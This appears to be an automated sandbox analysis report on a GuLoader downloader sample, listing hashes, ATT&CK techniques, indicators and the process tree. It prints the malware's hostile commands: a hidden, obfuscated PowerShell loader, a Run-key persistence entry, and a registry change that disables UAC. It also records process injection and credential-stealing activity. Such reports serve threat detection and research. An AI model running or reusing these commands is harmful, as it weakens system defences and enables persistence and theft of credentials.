guloader | 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc

Analysis

max time kernel
147s
max time network
143s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
28-06-2024 01:29

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General

Target

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
Size

639KB
MD5

0609cbf05b1169cd11a37910df2d74c0
SHA1

7d2dd3c50535783bd6d2755c3fa9b9f810c12f13
SHA256

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc
SHA512

d1874d83b1b1f6765af5806564cd039cdd0ea03d149c58bff9deccc8d7c1587c46e8681ca00c3ec14801bab23a9b984f9fc1e8438608d415571dadc7ab3de576
SSDEEP

6144:z9KOQS4B4GMSGJpFhaI27ySqUawlTFEHhq9/GtGOzx65MTOjbpUYpVslMDRkQZI:zsB4GOaJ6UrFh/GtGOzQ5MTOjb9pWeA

Score

10^/10

guloader collection downloader evasion execution persistence trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients

Processes:

resource yara_rule

behavioral1/memory/1796-214-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers

Processes:

resource yara_rule

behavioral1/memory/1976-215-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

resource	yara_rule
behavioral1/memory/1796-214-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

resource	yara_rule
behavioral1/memory/1976-215-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1792-217-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/1976-215-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/1796-214-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

Blocklisted process makes network request 10 IoCs

Processes:

powershell.exe

flow	pid	process
4	748	powershell.exe
7	748	powershell.exe
9	748	powershell.exe
11	748	powershell.exe
13	748	powershell.exe
15	748	powershell.exe
17	748	powershell.exe
18	748	powershell.exe
19	748	powershell.exe
20	748	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

748 powershell.exe

pid	process
748	powershell.exe

Loads dropped DLL 4 IoCs

Processes:

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe

pid	process
2208	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
2208	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
2208	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
2208	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
collection

Email Collection
T1114

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts powershell.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\Fukssvansen = "%Satrappernes% -windowstyle minimized $Foxfishes205=(Get-ItemProperty -Path 'HKCU:\\Havnebassin\\').Afdmpedes189;%Satrappernes% ($Foxfishes205)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

4 drive.google.com
3 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

powershell.exe

pid process

748 powershell.exe
748 powershell.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

powershell.exe

pid process

748 powershell.exe

flow	ioc
4	drive.google.com
3	drive.google.com

pid	process
748	powershell.exe
748	powershell.exe

pid	process
748	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 748 set thread context of 1976	748	powershell.exe	powershell.exe
PID 748 set thread context of 1796	748	powershell.exe	powershell.exe
PID 748 set thread context of 1792	748	powershell.exe	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe

description ioc process

File opened for modification C:\Windows\Fonts\anorakkerne.ini 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

484 reg.exe
2328 reg.exe
Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exepowershell.exe

pid process

748 powershell.exe
748 powershell.exe
748 powershell.exe
748 powershell.exe
748 powershell.exe
748 powershell.exe
748 powershell.exe
748 powershell.exe
1976 powershell.exe
1976 powershell.exe
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

powershell.exe

pid process

748 powershell.exe
748 powershell.exe
748 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 748 powershell.exe
Token: SeDebugPrivilege 1792 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

748 powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe

pid	process
484	reg.exe
2328	reg.exe

pid	process
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
1976	powershell.exe
1976	powershell.exe

pid	process
748	powershell.exe
748	powershell.exe
748	powershell.exe

description	pid	process
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe

pid	process
748	powershell.exe

Suspicious use of WriteProcessMemory 35 IoCs

Processes:

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exepowershell.execmd.execmd.exe

description	pid	process	target process
PID 2208 wrote to memory of 748	2208	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe	powershell.exe
PID 2208 wrote to memory of 748	2208	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe	powershell.exe
PID 2208 wrote to memory of 748	2208	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe	powershell.exe
PID 2208 wrote to memory of 748	2208	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe	powershell.exe
PID 748 wrote to memory of 2456	748	powershell.exe	cmd.exe
PID 748 wrote to memory of 2456	748	powershell.exe	cmd.exe
PID 748 wrote to memory of 2456	748	powershell.exe	cmd.exe
PID 748 wrote to memory of 2456	748	powershell.exe	cmd.exe
PID 2456 wrote to memory of 484	2456	cmd.exe	reg.exe
PID 2456 wrote to memory of 484	2456	cmd.exe	reg.exe
PID 2456 wrote to memory of 484	2456	cmd.exe	reg.exe
PID 2456 wrote to memory of 484	2456	cmd.exe	reg.exe
PID 748 wrote to memory of 1312	748	powershell.exe	cmd.exe
PID 748 wrote to memory of 1312	748	powershell.exe	cmd.exe
PID 748 wrote to memory of 1312	748	powershell.exe	cmd.exe
PID 748 wrote to memory of 1312	748	powershell.exe	cmd.exe
PID 1312 wrote to memory of 2328	1312	cmd.exe	reg.exe
PID 1312 wrote to memory of 2328	1312	cmd.exe	reg.exe
PID 1312 wrote to memory of 2328	1312	cmd.exe	reg.exe
PID 1312 wrote to memory of 2328	1312	cmd.exe	reg.exe
PID 748 wrote to memory of 1976	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1976	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1976	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1976	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1976	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1796	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1796	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1796	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1796	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1796	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1792	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1792	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1792	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1792	748	powershell.exe	powershell.exe
PID 748 wrote to memory of 1792	748	powershell.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
"C:\Users\Admin\AppData\Local\Temp\798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2208

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Skufflerne=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Distanceblnderne.Hes';$Maalesteder=$Skufflerne.SubString(61079,3);.$Maalesteder($Skufflerne)"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fukssvansen" /t REG_EXPAND_SZ /d "%Satrappernes% -windowstyle minimized $Foxfishes205=(Get-ItemProperty -Path 'HKCU:\Havnebassin\').Afdmpedes189;%Satrappernes% ($Foxfishes205)"
3⤵
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fukssvansen" /t REG_EXPAND_SZ /d "%Satrappernes% -windowstyle minimized $Foxfishes205=(Get-ItemProperty -Path 'HKCU:\Havnebassin\').Afdmpedes189;%Satrappernes% ($Foxfishes205)"
4⤵
- Adds Run key to start application
- Modifies registry key
PID:484

C:\Windows\SysWOW64\cmd.exe
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
3⤵
- Suspicious use of WriteProcessMemory
PID:1312

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
4⤵
- UAC bypass
- Modifies registry key
PID:2328

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\ygzcuhxzjdgyahfywnzxvcbwnidubffrhp"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\baeuva"
3⤵
- Accesses Microsoft Outlook accounts
PID:1796

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\lckfvssut"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1792

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat
Filesize
144B

MD5
99e1843f856c36daa413d1e77956e748

SHA1
28f5b9e57fbb077ffa62d32f6daaf51b3b43fd61

SHA256
949e88d12f963e15f2e47b81350913adf158a6e691bbddb095339fd66af3810f

SHA512
f295608cd915109257f554dfc43829696d9b17abaf4ba2b8b5ca84bf003353adea2a4f708675c4570473529c61184dd7cb96e21656fbcd407eefeb06cc4c82ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\ygzcuhxzjdgyahfywnzxvcbwnidubffrhp
Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Distanceblnderne.Hes
Filesize
69KB

MD5
6a771e12b116ad2c03bccf6b01791e0c

SHA1
9d953184eebf637915aaa68f26781ed444927a9d

SHA256
71741f649be6fcc6fda9b6439afa7edee7fb356573a8fc4724e01524b6a4e3dc

SHA512
422e522dcd7c46ff3630a645045c1ccba49ad5d577a37d9bb54562c7abaf030bbd62086311a2c950c8a6f4c74e6435d247bd7487152056224e639a5bdec41c5d

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Nonwelcome.Vol
Filesize
307KB

MD5
20b4d6b234775cb7b37ec559e365d939

SHA1
138a87eebc4daf86c42dd4acdbb5664b2b9658ed

SHA256
e8c8e71b804cc0c9adbcb6de8567e58f5faa32f6f921bca004a68cd5b423154f

SHA512
f43a369b6c1aff764dfd6f6763a348a2ef34d194353924917aebe661c81d816dd7a3b618984d99f09ac1d1610d54561be2c973ac7a3bd2aedec38adea895f096

Download Submit
C:\Users\Admin\Pictures\slukningen.lnk
Filesize
966B

MD5
ee2ff8e15fb767973f0ab9f2856d19fa

SHA1
eaa64e19e646f1d1d2ce6836a4945abf0ae0ecc4

SHA256
538ad1b8a01ff39fe89e936a11e02727d61d4aaf3f3895e37b862aae3add6130

SHA512
9ed20b3d3db3d2c68f105e0c14eb9a6ddef401d8eebb14674ad81e57f02dc0270beb7f47977f3dd58d181a6e96130dc9330822c71a001e24b481aaa2b14773f7

Download Submit
\Users\Admin\AppData\Local\Temp\nsi1D03.tmp\AdvSplash.dll
Filesize
6KB

MD5
6def2cf3daf850acdc1a3e7340a439c4

SHA1
95d0d26f60cd5af697502cd5e53a54913ab188fb

SHA256
3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

SHA512
16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

Download Submit
\Users\Admin\AppData\Local\Temp\nsi1D03.tmp\BgImage.dll
Filesize
7KB

MD5
2bb17d45e5ad92053ce1e500408dd8a9

SHA1
f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

SHA256
71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

SHA512
efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

Download Submit
\Users\Admin\AppData\Local\Temp\nsi1D03.tmp\UserInfo.dll
Filesize
4KB

MD5
8ef0e4eb7c89cdd2b552de746f5e2a53

SHA1
820f681e7cec409a02b194a487d1c8af1038acf0

SHA256
41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

SHA512
a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

Download Submit
\Users\Admin\AppData\Local\Temp\nsi1D03.tmp\nsExec.dll
Filesize
6KB

MD5
c129bc26a26be6f5816a03520bb37833

SHA1
18100042155f948301701744b131c516bf26ddb8

SHA256
d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

SHA512
dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

Download Submit
memory/748-205-0x00000000743B0000-0x000000007495B000-memory.dmp

Filesize
5.7MB

Download
memory/748-225-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/748-178-0x00000000743B0000-0x000000007495B000-memory.dmp

Filesize
5.7MB

Download
memory/748-174-0x00000000743B0000-0x000000007495B000-memory.dmp

Filesize
5.7MB

Download
memory/748-180-0x00000000743B0000-0x000000007495B000-memory.dmp

Filesize
5.7MB

Download
memory/748-181-0x0000000006610000-0x000000000950A000-memory.dmp

Filesize
47.0MB

Download
memory/748-203-0x0000000006610000-0x000000000950A000-memory.dmp

Filesize
47.0MB

Download
memory/748-173-0x00000000743B0000-0x000000007495B000-memory.dmp

Filesize
5.7MB

Download
memory/748-172-0x00000000743B0000-0x000000007495B000-memory.dmp

Filesize
5.7MB

Download
memory/748-229-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/748-171-0x00000000743B1000-0x00000000743B2000-memory.dmp

Filesize
4KB

Download
memory/748-175-0x00000000743B0000-0x000000007495B000-memory.dmp

Filesize
5.7MB

Download
memory/748-228-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1792-216-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1792-211-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1792-217-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1796-212-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1796-214-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1796-208-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1796-209-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1976-207-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1976-213-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1976-215-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1976-206-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download